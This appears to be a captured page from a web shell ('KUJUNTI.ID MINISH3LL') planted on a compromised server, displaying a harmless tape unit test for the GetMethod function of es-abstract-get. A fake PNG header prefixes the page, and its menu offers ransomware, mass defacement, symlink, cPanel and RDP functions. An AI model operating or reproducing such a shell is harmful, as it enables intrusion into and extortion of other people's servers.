\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/infraai.ai/frontend/node_modules/es-abstract-get/test/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/infraai.ai/frontend/node_modules/es-abstract-get/test/GetMethod.js


'use strict';

var test = require('tape');
var forEach = require('for-each');
var v = require('es-value-fixtures');
var debug = require('object-inspect');

var GetMethod = require('../GetMethod');

test('GetMethod', function (t) {
	forEach(v.nonPropertyKeys, function (nonPropertyKey) {
		t['throws'](
			// @ts-expect-error
			function () { return GetMethod({}, nonPropertyKey); },
			TypeError,
			debug(nonPropertyKey) + ' is not a Property Key'
		);
	});

	t['throws'](
		// @ts-expect-error
		function () { return GetMethod({ 7: 7 }, 7); },
		TypeError,
		'Throws a TypeError if `P` is not a property key'
	);

	t.equal(GetMethod({}, 'a'), undefined, 'returns undefined if property is undefined');
	t.equal(GetMethod({ a: null }, 'a'), undefined, 'returns undefined if property is null');
	t.equal(GetMethod({ a: undefined }, 'a'), undefined, 'returns undefined if property is undefined');

	var obj = { a: function () {} };
	t['throws'](
		// @ts-expect-error
		function () { GetMethod({ a: 'b' }, 'a'); },
		TypeError,
		'throws a TypeError if property exists and is not callable'
	);

	t.equal(GetMethod(obj, 'a'), obj.a, 'returns property if it is callable');

	t.end();
});

© KUJUNTI.ID